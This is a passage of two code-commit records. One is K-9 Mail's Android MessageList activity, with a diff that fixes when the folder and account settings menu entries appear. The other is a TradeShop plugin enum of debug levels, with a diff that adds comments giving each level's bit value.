mMessageListFragment.onRemoteSearch();
return true;
}
}
if (!mSingleFolderMode) {
// None of the options after this point are "safe" for search results
//TODO: This is not true for "unread" and "starred" searches in regular folders
return false;
}
switch (itemId) {
case R.id.send_messages: {
mMessageListFragment.onSendPendingMessages();
return true;
}
case R.id.folder_settings: {
if (mFolderName != null) {
FolderSettings.actionSettings(this, mAccount, mFolderName);
}
return true;
}
case R.id.expunge: {
mMessageListFragment.onExpunge();
return true;
}
default: {
return super.onOptionsItemSelected(item);
}
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getSupportMenuInflater().inflate(R.menu.message_list_option, menu);
mMenu = menu;
return true;
}
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
configureMenu(menu);
return true;
}
private void configureMenu(Menu menu) {
if (menu == null) {
return;
}
menu.findItem(R.id.search).setVisible(false);
menu.findItem(R.id.search_remote).setVisible(false);
if (mMessageListFragment == null) {
// Hide everything (except "compose") if no MessageListFragment instance is available
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.set_sort).setVisible(false);
menu.findItem(R.id.select_all).setVisible(false);
menu.findItem(R.id.send_messages).setVisible(false);
menu.findItem(R.id.expunge).setVisible(false);
menu.findItem(R.id.settings).setVisible(false);
} else {
menu.findItem(R.id.set_sort).setVisible(true);
menu.findItem(R.id.select_all).setVisible(true);
menu.findItem(R.id.settings).setVisible(true);
if (!mSingleAccountMode) {
menu.findItem(R.id.expunge).setVisible(false);
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.send_messages).setVisible(false);
menu.findItem(R.id.folder_settings).setVisible(false);
menu.findItem(R.id.account_settings).setVisible(false);
} else {
menu.findItem(R.id.folder_settings).setVisible(mSingleFolderMode);
menu.findItem(R.id.account_settings).setVisible(true);
if (mMessageListFragment.isOutbox()) {
menu.findItem(R.id.send_messages).setVisible(true);
} else {
menu.findItem(R.id.send_messages).setVisible(false);
}
if (mMessageListFragment.isRemoteFolder()) {
menu.findItem(R.id.check_mail).setVisible(true);
menu.findItem(R.id.expunge).setVisible(mMessageListFragment.isAccountExpungeCapable());
} else {
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.expunge).setVisible(false);
}
}
// If this is an explicit local search, show the option to search the cloud.
if (!mMessageListFragment.isRemoteSearch() &&
mMessageListFragment.isRemoteSearchAllowed()) {
menu.findItem(R.id.search_remote).setVisible(true);
} else if (!mMessageListFragment.isManualSearch()) {
menu.findItem(R.id.search).setVisible(true);
}
}
}
protected void onAccountUnavailable() {
finish();
// TODO inform user about account unavailability using Toast
Accounts.listAccounts(this);
}
public void setActionBarTitle(String title) {
mActionBarTitle.setText(title);
}
public void setActionBarSubTitle(String subTitle) {
mActionBarSubTitle.setText(subTitle);
}
public void setActionBarUnread(int unread) {
if (unread == 0) {
mActionBarUnread.setVisibility(View.GONE);
} else {
mActionBarUnread.setVisibility(View.VISIBLE);
mActionBarUnread.setText(Integer.toString(unread));
}
}
@Override
public void setMessageListTitle(String title) {
setActionBarTitle(title);
}
@Override
public void setMessageListSubTitle(String subTitle) {
setActionBarSubTitle(subTitle);
}
@Override
public void setUnreadCount(int unread) {
setActionBarUnread(unread);
}
@Override
public void setMessageListProgress(int progress) {
setSupportProgress(progress);
}
@Override
public void openMessage(MessageReference messageReference) {
Preferences prefs = Preferences.getPreferences(getApplicationContext());
Account account = prefs.getAccount(messageReference.accountUuid);
String folderName = messageReference.folderName;
if (folderName.equals(account.getDraftsFolderName())) {
MessageCompose.actionEditDraft(this, messageReference);
} else {
ArrayList<MessageReference> messageRefs = mMessageListFragment.getMessageReferences();
Log.i(K9.LOG_TAG, "MessageList sending message " + messageReference);
MessageView.actionView(this, messageReference, messageRefs, getIntent().getExtras());
}
/*
* We set read=true here for UI performance reasons. The actual value
* will get picked up on the refresh when the Activity is resumed but
* that may take a second or so and we don't want this to show and
* then go away. I've gone back and forth on this, and this gives a
* better UI experience, so I am putting it back in.
*/
// if (!message.read) {
// message.read = true;
// }
}
@Override
public void onResendMessage(Message message) {
MessageCompose.actionEditDraft(this, message.makeMessageReference());
}
@Override
public void onForward(Message message) {
MessageCompose.actionForward(this, message.getFolder().getAccount(), message, null);
}
@Override
public void onReply(Message message) {
MessageCompose.actionReply(this, message.getFolder().getAccount(), message, false, null);
}
@Override
public void onReplyAll(Message message) {
MessageCompose.actionReply(this, message.getFolder().getAccount(), message, true, null);
}
@Override
public void onCompose(Account account) {
MessageCompose.actionCompose(this, account);
}
@Override
public void showMoreFromSameSender(String senderAddress) {
LocalSearch tmpSearch = new LocalSearch("From " + senderAddress);
tmpSearch.addAccountUuids(mSearch.getAccountUuids());
tmpSearch.and(Searchfield.SENDER, senderAddress, Attribute.CONTAINS);
MessageListFragment fragment = MessageListFragment.newInstance(tmpSearch, false);
addMessageListFragment(fragment, true);
}
@Override
public void onBackStackChanged() {
FragmentManager fragmentManager = getSupportFragmentManager();
mMessageListFragment = (MessageListFragment) fragmentManager.findFragmentById(
R.id.message_list_container);
configureMenu(mMenu);
}
@Override
public void onSwipeRightToLeft(MotionEvent e1, MotionEvent e2) {
if (mMessageListFragment != null) {
mMessageListFragment.onSwipeRightToLeft(e1, e2);
}
}
@Override
public void onSwipeLeftToRight(MotionEvent e1, MotionEvent e2) {
if (mMessageListFragment != null) {
mMessageListFragment.onSwipeLeftToRight(e1, e2);
}
}
private final class StorageListenerImplementation implements StorageManager.StorageListener {
@Override
public void onUnmount(String providerId) {
if (mAccount != null && providerId.equals(mAccount.getLocalStorageProviderId())) {
runOnUiThread(new Runnable() {
@Override
public void run() {
onAccountUnavailable();
}
});
}
}
@Override
public void onMount(String providerId) {
// no-op
}
}
private void addMessageListFragment(MessageListFragment fragment, boolean addToBackStack) {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
ft.replace(R.id.message_list_container, fragment);
if (addToBackStack)
ft.addToBackStack(null);
mMessageListFragment = fragment;
ft.commit();
}
@Override
public boolean startSearch(Account account, String folderName) {
// If this search was started from a MessageList of a single folder, pass along that folder info
// so that we can enable remote search.
if (account != null && folderName != null) {
final Bundle appData = new Bundle();
appData.putString(EXTRA_SEARCH_ACCOUNT, account.getUuid());
appData.putString(EXTRA_SEARCH_FOLDER, folderName);
startSearch(null, false, appData, false);
} else {
// TODO Handle the case where we're searching from within a search result.
startSearch(null, false, null, false);
}
return true;
}
@Override
public void showThread(Account account, String folderName, long threadRootId) {
LocalSearch tmpSearch = new LocalSearch();
tmpSearch.addAccountUuid(account.getUuid());
tmpSearch.and(Searchfield.THREAD_ROOT, String.valueOf(threadRootId), Attribute.EQUALS);
tmpSearch.or(new SearchCondition(Searchfield.ID, Attribute.EQUALS, String.valueOf(threadRootId)));
MessageListFragment fragment = MessageListFragment.newInstance(tmpSearch, false);
addMessageListFragment(fragment, true);
}
@Override
public void remoteSearchStarted() {
// Remove action button for remote search
configureMenu(mMenu);
}
}
| src/com/fsck/k9/activity/MessageList.java | package com.fsck.k9.activity;
import java.util.ArrayList;
import android.app.SearchManager;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentManager.OnBackStackChangedListener;
import android.support.v4.app.FragmentTransaction;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import com.actionbarsherlock.app.ActionBar;
import com.actionbarsherlock.view.Menu;
import com.actionbarsherlock.view.MenuItem;
import com.fsck.k9.Account;
import com.fsck.k9.Account.SortType;
import com.fsck.k9.K9;
import com.fsck.k9.Preferences;
import com.fsck.k9.R;
import com.fsck.k9.activity.misc.SwipeGestureDetector.OnSwipeGestureListener;
import com.fsck.k9.activity.setup.AccountSettings;
import com.fsck.k9.activity.setup.FolderSettings;
import com.fsck.k9.activity.setup.Prefs;
import com.fsck.k9.fragment.MessageListFragment;
import com.fsck.k9.fragment.MessageListFragment.MessageListFragmentListener;
import com.fsck.k9.mail.Message;
import com.fsck.k9.mail.store.StorageManager;
import com.fsck.k9.search.LocalSearch;
import com.fsck.k9.search.SearchSpecification;
import com.fsck.k9.search.SearchSpecification.Attribute;
import com.fsck.k9.search.SearchSpecification.Searchfield;
import com.fsck.k9.search.SearchSpecification.SearchCondition;
/**
* MessageList is the primary user interface for the program. This Activity
* shows a list of messages.
* From this Activity the user can perform all standard message operations.
*/
public class MessageList extends K9FragmentActivity implements MessageListFragmentListener,
OnBackStackChangedListener, OnSwipeGestureListener {
// for this activity
private static final String EXTRA_SEARCH = "search";
private static final String EXTRA_NO_THREADING = "no_threading";
// used for remote search
private static final String EXTRA_SEARCH_ACCOUNT = "com.fsck.k9.search_account";
private static final String EXTRA_SEARCH_FOLDER = "com.fsck.k9.search_folder";
public static void actionDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask) {
actionDisplaySearch(context, search, noThreading, newTask, true);
}
public static void actionDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask, boolean clearTop) {
context.startActivity(
intentDisplaySearch(context, search, noThreading, newTask, clearTop));
}
public static Intent intentDisplaySearch(Context context, SearchSpecification search,
boolean noThreading, boolean newTask, boolean clearTop) {
Intent intent = new Intent(context, MessageList.class);
intent.putExtra(EXTRA_SEARCH, search);
intent.putExtra(EXTRA_NO_THREADING, noThreading);
if (clearTop) {
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
}
if (newTask) {
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
}
return intent;
}
private StorageManager.StorageListener mStorageListener = new StorageListenerImplementation();
private ActionBar mActionBar;
private TextView mActionBarTitle;
private TextView mActionBarSubTitle;
private TextView mActionBarUnread;
private Menu mMenu;
private MessageListFragment mMessageListFragment;
private Account mAccount;
private String mFolderName;
private LocalSearch mSearch;
private boolean mSingleFolderMode;
private boolean mSingleAccountMode;
/**
* {@code true} if the message list should be displayed as flat list (i.e. no threading)
* regardless whether or not message threading was enabled in the settings. This is used for
* filtered views, e.g. when only displaying the unread messages in a folder.
*/
private boolean mNoThreading;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.message_list);
mActionBar = getSupportActionBar();
initializeActionBar();
// Enable gesture detection for MessageLists
setupGestureDetector(this);
decodeExtras(getIntent());
FragmentManager fragmentManager = getSupportFragmentManager();
fragmentManager.addOnBackStackChangedListener(this);
mMessageListFragment = (MessageListFragment) fragmentManager.findFragmentById(R.id.message_list_container);
if (mMessageListFragment == null) {
FragmentTransaction ft = fragmentManager.beginTransaction();
mMessageListFragment = MessageListFragment.newInstance(mSearch,
(K9.isThreadedViewEnabled() && !mNoThreading));
ft.add(R.id.message_list_container, mMessageListFragment);
ft.commit();
}
}
private void decodeExtras(Intent intent) {
// check if this intent comes from the system search ( remote )
if (intent.getStringExtra(SearchManager.QUERY) != null) {
if (Intent.ACTION_SEARCH.equals(intent.getAction())) {
//Query was received from Search Dialog
String query = intent.getStringExtra(SearchManager.QUERY);
mSearch = new LocalSearch(getString(R.string.search_results));
mSearch.setManualSearch(true);
mNoThreading = true;
mSearch.or(new SearchCondition(Searchfield.SENDER, Attribute.CONTAINS, query));
mSearch.or(new SearchCondition(Searchfield.SUBJECT, Attribute.CONTAINS, query));
mSearch.or(new SearchCondition(Searchfield.MESSAGE_CONTENTS, Attribute.CONTAINS, query));
Bundle appData = getIntent().getBundleExtra(SearchManager.APP_DATA);
if (appData != null) {
mSearch.addAccountUuid(appData.getString(EXTRA_SEARCH_ACCOUNT));
mSearch.addAllowedFolder(appData.getString(EXTRA_SEARCH_FOLDER));
} else {
mSearch.addAccountUuid(LocalSearch.ALL_ACCOUNTS);
}
}
} else {
// regular LocalSearch object was passed
mSearch = intent.getParcelableExtra(EXTRA_SEARCH);
mNoThreading = intent.getBooleanExtra(EXTRA_NO_THREADING, false);
}
String[] accountUuids = mSearch.getAccountUuids();
mSingleAccountMode = (accountUuids.length == 1 && !mSearch.searchAllAccounts());
mSingleFolderMode = mSingleAccountMode && (mSearch.getFolderNames().size() == 1);
if (mSingleAccountMode) {
Preferences prefs = Preferences.getPreferences(getApplicationContext());
mAccount = prefs.getAccount(accountUuids[0]);
if (mAccount != null && !mAccount.isAvailable(this)) {
Log.i(K9.LOG_TAG, "not opening MessageList of unavailable account");
onAccountUnavailable();
return;
}
}
if (mSingleFolderMode) {
mFolderName = mSearch.getFolderNames().get(0);
}
// now we know if we are in single account mode and need a subtitle
mActionBarSubTitle.setVisibility((!mSingleFolderMode) ? View.GONE : View.VISIBLE);
}
@Override
public void onPause() {
super.onPause();
StorageManager.getInstance(getApplication()).removeListener(mStorageListener);
}
@Override
public void onResume() {
super.onResume();
if (!(this instanceof Search)) {
//necessary b/c no guarantee Search.onStop will be called before MessageList.onResume
//when returning from search results
Search.setActive(false);
}
if (mAccount != null && !mAccount.isAvailable(this)) {
onAccountUnavailable();
return;
}
StorageManager.getInstance(getApplication()).addListener(mStorageListener);
}
private void initializeActionBar() {
mActionBar.setDisplayShowCustomEnabled(true);
mActionBar.setCustomView(R.layout.actionbar_custom);
View customView = mActionBar.getCustomView();
mActionBarTitle = (TextView) customView.findViewById(R.id.actionbar_title_first);
mActionBarSubTitle = (TextView) customView.findViewById(R.id.actionbar_title_sub);
mActionBarUnread = (TextView) customView.findViewById(R.id.actionbar_unread_count);
mActionBar.setDisplayHomeAsUpEnabled(true);
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
// Shortcuts that work no matter what is selected
switch (keyCode) {
case KeyEvent.KEYCODE_VOLUME_UP: {
if (K9.useVolumeKeysForListNavigationEnabled()) {
mMessageListFragment.onMoveUp();
return true;
}
return false;
}
case KeyEvent.KEYCODE_VOLUME_DOWN: {
if (K9.useVolumeKeysForListNavigationEnabled()) {
mMessageListFragment.onMoveDown();
return true;
}
return false;
}
case KeyEvent.KEYCODE_C: {
mMessageListFragment.onCompose();
return true;
}
case KeyEvent.KEYCODE_Q: {
onShowFolderList();
return true;
}
case KeyEvent.KEYCODE_O: {
mMessageListFragment.onCycleSort();
return true;
}
case KeyEvent.KEYCODE_I: {
mMessageListFragment.onReverseSort();
return true;
}
case KeyEvent.KEYCODE_H: {
Toast toast = Toast.makeText(this, R.string.message_list_help_key, Toast.LENGTH_LONG);
toast.show();
return true;
}
}
boolean retval = true;
try {
switch (keyCode) {
case KeyEvent.KEYCODE_DEL:
case KeyEvent.KEYCODE_D: {
mMessageListFragment.onDelete();
return true;
}
case KeyEvent.KEYCODE_S: {
mMessageListFragment.toggleMessageSelect();
return true;
}
case KeyEvent.KEYCODE_G: {
mMessageListFragment.onToggleFlag();
return true;
}
case KeyEvent.KEYCODE_M: {
mMessageListFragment.onMove();
return true;
}
case KeyEvent.KEYCODE_V: {
mMessageListFragment.onArchive();
return true;
}
case KeyEvent.KEYCODE_Y: {
mMessageListFragment.onCopy();
return true;
}
case KeyEvent.KEYCODE_Z: {
mMessageListFragment.onToggleRead();
return true;
}
}
} finally {
retval = super.onKeyDown(keyCode, event);
}
return retval;
}
@Override
public boolean onKeyUp(int keyCode, KeyEvent event) {
// Swallow these events too to avoid the audible notification of a volume change
if (K9.useVolumeKeysForListNavigationEnabled()) {
if ((keyCode == KeyEvent.KEYCODE_VOLUME_UP) || (keyCode == KeyEvent.KEYCODE_VOLUME_DOWN)) {
if (K9.DEBUG)
Log.v(K9.LOG_TAG, "Swallowed key up.");
return true;
}
}
return super.onKeyUp(keyCode, event);
}
private void onAccounts() {
Accounts.listAccounts(this);
finish();
}
private void onShowFolderList() {
FolderList.actionHandleAccount(this, mAccount);
finish();
}
private void onEditPrefs() {
Prefs.actionPrefs(this);
}
private void onEditAccount() {
AccountSettings.actionSettings(this, mAccount);
}
@Override
public boolean onSearchRequested() {
return mMessageListFragment.onSearchRequested();
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
int itemId = item.getItemId();
switch (itemId) {
case android.R.id.home: {
FragmentManager fragmentManager = getSupportFragmentManager();
if (fragmentManager.getBackStackEntryCount() > 0) {
fragmentManager.popBackStack();
} else if (!mSingleFolderMode || mMessageListFragment.isManualSearch()) {
onBackPressed();
} else {
onShowFolderList();
}
return true;
}
case R.id.compose: {
mMessageListFragment.onCompose();
return true;
}
case R.id.check_mail: {
mMessageListFragment.checkMail();
return true;
}
case R.id.set_sort_date: {
mMessageListFragment.changeSort(SortType.SORT_DATE);
return true;
}
case R.id.set_sort_arrival: {
mMessageListFragment.changeSort(SortType.SORT_ARRIVAL);
return true;
}
case R.id.set_sort_subject: {
mMessageListFragment.changeSort(SortType.SORT_SUBJECT);
return true;
}
// case R.id.set_sort_sender: {
// mMessageListFragment.changeSort(SortType.SORT_SENDER);
// return true;
// }
case R.id.set_sort_flag: {
mMessageListFragment.changeSort(SortType.SORT_FLAGGED);
return true;
}
case R.id.set_sort_unread: {
mMessageListFragment.changeSort(SortType.SORT_UNREAD);
return true;
}
case R.id.set_sort_attach: {
mMessageListFragment.changeSort(SortType.SORT_ATTACHMENT);
return true;
}
case R.id.select_all: {
mMessageListFragment.selectAll();
return true;
}
case R.id.app_settings: {
onEditPrefs();
return true;
}
case R.id.search: {
mMessageListFragment.onSearchRequested();
return true;
}
case R.id.search_remote: {
mMessageListFragment.onRemoteSearch();
return true;
}
}
if (!mSingleFolderMode) {
// None of the options after this point are "safe" for search results
//TODO: This is not true for "unread" and "starred" searches in regular folders
return false;
}
switch (itemId) {
case R.id.send_messages: {
mMessageListFragment.onSendPendingMessages();
return true;
}
case R.id.folder_settings: {
if (mFolderName != null) {
FolderSettings.actionSettings(this, mAccount, mFolderName);
}
return true;
}
case R.id.account_settings: {
onEditAccount();
return true;
}
case R.id.expunge: {
mMessageListFragment.onExpunge();
return true;
}
default: {
return super.onOptionsItemSelected(item);
}
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getSupportMenuInflater().inflate(R.menu.message_list_option, menu);
mMenu = menu;
return true;
}
@Override
public boolean onPrepareOptionsMenu(Menu menu) {
configureMenu(menu);
return true;
}
private void configureMenu(Menu menu) {
if (menu == null) {
return;
}
menu.findItem(R.id.search).setVisible(false);
menu.findItem(R.id.search_remote).setVisible(false);
if (mMessageListFragment == null) {
// Hide everything (except "compose") if no MessageListFragment instance is available
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.set_sort).setVisible(false);
menu.findItem(R.id.select_all).setVisible(false);
menu.findItem(R.id.send_messages).setVisible(false);
menu.findItem(R.id.expunge).setVisible(false);
menu.findItem(R.id.settings).setVisible(false);
} else {
menu.findItem(R.id.set_sort).setVisible(true);
menu.findItem(R.id.select_all).setVisible(true);
menu.findItem(R.id.settings).setVisible(true);
if (!mSingleAccountMode) {
menu.findItem(R.id.expunge).setVisible(false);
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.send_messages).setVisible(false);
menu.findItem(R.id.folder_settings).setVisible(false);
menu.findItem(R.id.account_settings).setVisible(false);
} else {
menu.findItem(R.id.folder_settings).setVisible(true);
menu.findItem(R.id.account_settings).setVisible(true);
if (mMessageListFragment.isOutbox()) {
menu.findItem(R.id.send_messages).setVisible(true);
} else {
menu.findItem(R.id.send_messages).setVisible(false);
}
if (mMessageListFragment.isRemoteFolder()) {
menu.findItem(R.id.check_mail).setVisible(true);
menu.findItem(R.id.expunge).setVisible(mMessageListFragment.isAccountExpungeCapable());
} else {
menu.findItem(R.id.check_mail).setVisible(false);
menu.findItem(R.id.expunge).setVisible(false);
}
}
// If this is an explicit local search, show the option to search the cloud.
if (!mMessageListFragment.isRemoteSearch() &&
mMessageListFragment.isRemoteSearchAllowed()) {
menu.findItem(R.id.search_remote).setVisible(true);
} else if (!mMessageListFragment.isManualSearch()) {
menu.findItem(R.id.search).setVisible(true);
}
}
}
protected void onAccountUnavailable() {
finish();
// TODO inform user about account unavailability using Toast
Accounts.listAccounts(this);
}
public void setActionBarTitle(String title) {
mActionBarTitle.setText(title);
}
public void setActionBarSubTitle(String subTitle) {
mActionBarSubTitle.setText(subTitle);
}
public void setActionBarUnread(int unread) {
if (unread == 0) {
mActionBarUnread.setVisibility(View.GONE);
} else {
mActionBarUnread.setVisibility(View.VISIBLE);
mActionBarUnread.setText(Integer.toString(unread));
}
}
@Override
public void setMessageListTitle(String title) {
setActionBarTitle(title);
}
@Override
public void setMessageListSubTitle(String subTitle) {
setActionBarSubTitle(subTitle);
}
@Override
public void setUnreadCount(int unread) {
setActionBarUnread(unread);
}
@Override
public void setMessageListProgress(int progress) {
setSupportProgress(progress);
}
@Override
public void openMessage(MessageReference messageReference) {
Preferences prefs = Preferences.getPreferences(getApplicationContext());
Account account = prefs.getAccount(messageReference.accountUuid);
String folderName = messageReference.folderName;
if (folderName.equals(account.getDraftsFolderName())) {
MessageCompose.actionEditDraft(this, messageReference);
} else {
ArrayList<MessageReference> messageRefs = mMessageListFragment.getMessageReferences();
Log.i(K9.LOG_TAG, "MessageList sending message " + messageReference);
MessageView.actionView(this, messageReference, messageRefs, getIntent().getExtras());
}
/*
* We set read=true here for UI performance reasons. The actual value
* will get picked up on the refresh when the Activity is resumed but
* that may take a second or so and we don't want this to show and
* then go away. I've gone back and forth on this, and this gives a
* better UI experience, so I am putting it back in.
*/
// if (!message.read) {
// message.read = true;
// }
}
@Override
public void onResendMessage(Message message) {
MessageCompose.actionEditDraft(this, message.makeMessageReference());
}
@Override
public void onForward(Message message) {
MessageCompose.actionForward(this, message.getFolder().getAccount(), message, null);
}
@Override
public void onReply(Message message) {
MessageCompose.actionReply(this, message.getFolder().getAccount(), message, false, null);
}
@Override
public void onReplyAll(Message message) {
MessageCompose.actionReply(this, message.getFolder().getAccount(), message, true, null);
}
@Override
public void onCompose(Account account) {
MessageCompose.actionCompose(this, account);
}
@Override
public void showMoreFromSameSender(String senderAddress) {
LocalSearch tmpSearch = new LocalSearch("From " + senderAddress);
tmpSearch.addAccountUuids(mSearch.getAccountUuids());
tmpSearch.and(Searchfield.SENDER, senderAddress, Attribute.CONTAINS);
MessageListFragment fragment = MessageListFragment.newInstance(tmpSearch, false);
addMessageListFragment(fragment, true);
}
@Override
public void onBackStackChanged() {
FragmentManager fragmentManager = getSupportFragmentManager();
mMessageListFragment = (MessageListFragment) fragmentManager.findFragmentById(
R.id.message_list_container);
configureMenu(mMenu);
}
@Override
public void onSwipeRightToLeft(MotionEvent e1, MotionEvent e2) {
if (mMessageListFragment != null) {
mMessageListFragment.onSwipeRightToLeft(e1, e2);
}
}
@Override
public void onSwipeLeftToRight(MotionEvent e1, MotionEvent e2) {
if (mMessageListFragment != null) {
mMessageListFragment.onSwipeLeftToRight(e1, e2);
}
}
private final class StorageListenerImplementation implements StorageManager.StorageListener {
@Override
public void onUnmount(String providerId) {
if (mAccount != null && providerId.equals(mAccount.getLocalStorageProviderId())) {
runOnUiThread(new Runnable() {
@Override
public void run() {
onAccountUnavailable();
}
});
}
}
@Override
public void onMount(String providerId) {
// no-op
}
}
private void addMessageListFragment(MessageListFragment fragment, boolean addToBackStack) {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
ft.replace(R.id.message_list_container, fragment);
if (addToBackStack)
ft.addToBackStack(null);
mMessageListFragment = fragment;
ft.commit();
}
@Override
public boolean startSearch(Account account, String folderName) {
// If this search was started from a MessageList of a single folder, pass along that folder info
// so that we can enable remote search.
if (account != null && folderName != null) {
final Bundle appData = new Bundle();
appData.putString(EXTRA_SEARCH_ACCOUNT, account.getUuid());
appData.putString(EXTRA_SEARCH_FOLDER, folderName);
startSearch(null, false, appData, false);
} else {
// TODO Handle the case where we're searching from within a search result.
startSearch(null, false, null, false);
}
return true;
}
@Override
public void showThread(Account account, String folderName, long threadRootId) {
LocalSearch tmpSearch = new LocalSearch();
tmpSearch.addAccountUuid(account.getUuid());
tmpSearch.and(Searchfield.THREAD_ROOT, String.valueOf(threadRootId), Attribute.EQUALS);
tmpSearch.or(new SearchCondition(Searchfield.ID, Attribute.EQUALS, String.valueOf(threadRootId)));
MessageListFragment fragment = MessageListFragment.newInstance(tmpSearch, false);
addMessageListFragment(fragment, true);
}
@Override
public void remoteSearchStarted() {
// Remove action button for remote search
configureMenu(mMenu);
}
}
| Fix display of folder settings and account settings menu entries | src/com/fsck/k9/activity/MessageList.java | Fix display of folder settings and account settings menu entries | <ide><path>rc/com/fsck/k9/activity/MessageList.java
<ide> onEditPrefs();
<ide> return true;
<ide> }
<add> case R.id.account_settings: {
<add> onEditAccount();
<add> return true;
<add> }
<ide> case R.id.search: {
<ide> mMessageListFragment.onSearchRequested();
<ide> return true;
<ide> if (mFolderName != null) {
<ide> FolderSettings.actionSettings(this, mAccount, mFolderName);
<ide> }
<del> return true;
<del> }
<del> case R.id.account_settings: {
<del> onEditAccount();
<ide> return true;
<ide> }
<ide> case R.id.expunge: {
<ide> menu.findItem(R.id.folder_settings).setVisible(false);
<ide> menu.findItem(R.id.account_settings).setVisible(false);
<ide> } else {
<del> menu.findItem(R.id.folder_settings).setVisible(true);
<add> menu.findItem(R.id.folder_settings).setVisible(mSingleFolderMode);
<ide> menu.findItem(R.id.account_settings).setVisible(true);
<ide>
<ide> if (mMessageListFragment.isOutbox()) { |
|
Java | apache-2.0 | 3ad23f3349d87349684ebeef550dcb66cce92ca2 | 0 | SparklingComet/TradeShop | /*
*
* Copyright (c) 2016-2019
* SparklingComet @ http://shanerx.org
* KillerOfPie @ http://killerofpie.github.io
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* NOTICE: All modifications made by others to the source code belong
* to the respective contributor. No contributor should be held liable for
* any damages of any kind, whether be material or moral, which were
* caused by their contribution(s) to the project. See the full License for more information.
*
*/
package org.shanerx.tradeshop.enumys;
import java.util.logging.Level;
public enum DebugLevels {
DATA_ERROR(-1, Level.SEVERE),
DISABLED(0, Level.INFO), // 0
LIST_MANAGER(1, Level.WARNING), // 1
STARTUP(2, Level.INFO), // 2
PROTECTION(3, Level.WARNING), // 4
TRADE(4, Level.WARNING), // 8
INVENTORY_CLOSE_NPE(5, Level.WARNING), // 16
ITEM_COMPARE(6, Level.WARNING); // 32
//position is what value to check for this level in the binary string -1.
//
int position;
Level logLevel;
private static int max = 0;
DebugLevels(int position, Level logLevel) {
this.position = position;
this.logLevel = logLevel;
}
public int getPosition() {
return position;
}
public Level getLogLevel() {
return logLevel;
}
public static int levels() {
return Math.min(values().length - 1, 32);
}
public static int maxValue() {
if (max <= 1) {
for (DebugLevels lvl : values()) {
max += Math.pow(2, lvl.position - 1);
}
}
return max;
}
public String getPrefix() {
return " - " + name();
}
} | src/main/java/org/shanerx/tradeshop/enumys/DebugLevels.java | /*
*
* Copyright (c) 2016-2019
* SparklingComet @ http://shanerx.org
* KillerOfPie @ http://killerofpie.github.io
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* NOTICE: All modifications made by others to the source code belong
* to the respective contributor. No contributor should be held liable for
* any damages of any kind, whether be material or moral, which were
* caused by their contribution(s) to the project. See the full License for more information.
*
*/
package org.shanerx.tradeshop.enumys;
import java.util.logging.Level;
public enum DebugLevels {
DATA_ERROR(-1, Level.SEVERE),
DISABLED(0, Level.INFO),
LIST_MANAGER(1, Level.WARNING),
STARTUP(2, Level.INFO),
PROTECTION(3, Level.WARNING),
TRADE(4, Level.WARNING),
INVENTORY_CLOSE_NPE(5, Level.WARNING),
ITEM_COMPARE(6, Level.WARNING);
//position is what value to check for this level in the binary string -1.
//
int position;
Level logLevel;
private static int max = 0;
DebugLevels(int position, Level logLevel) {
this.position = position;
this.logLevel = logLevel;
}
public int getPosition() {
return position;
}
public Level getLogLevel() {
return logLevel;
}
public static int levels() {
return Math.min(values().length - 1, 32);
}
public static int maxValue() {
if (max <= 1) {
for (DebugLevels lvl : values()) {
max += Math.pow(2, lvl.position - 1);
}
}
return max;
}
public String getPrefix() {
return " - " + name();
}
} | Added amount comments to DebugLevels.java
| src/main/java/org/shanerx/tradeshop/enumys/DebugLevels.java | Added amount comments to DebugLevels.java | <ide><path>rc/main/java/org/shanerx/tradeshop/enumys/DebugLevels.java
<ide> public enum DebugLevels {
<ide>
<ide> DATA_ERROR(-1, Level.SEVERE),
<del> DISABLED(0, Level.INFO),
<del> LIST_MANAGER(1, Level.WARNING),
<del> STARTUP(2, Level.INFO),
<del> PROTECTION(3, Level.WARNING),
<del> TRADE(4, Level.WARNING),
<del> INVENTORY_CLOSE_NPE(5, Level.WARNING),
<del> ITEM_COMPARE(6, Level.WARNING);
<add> DISABLED(0, Level.INFO), // 0
<add> LIST_MANAGER(1, Level.WARNING), // 1
<add> STARTUP(2, Level.INFO), // 2
<add> PROTECTION(3, Level.WARNING), // 4
<add> TRADE(4, Level.WARNING), // 8
<add> INVENTORY_CLOSE_NPE(5, Level.WARNING), // 16
<add> ITEM_COMPARE(6, Level.WARNING); // 32
<ide>
<ide> //position is what value to check for this level in the binary string -1.
<ide> // |
|
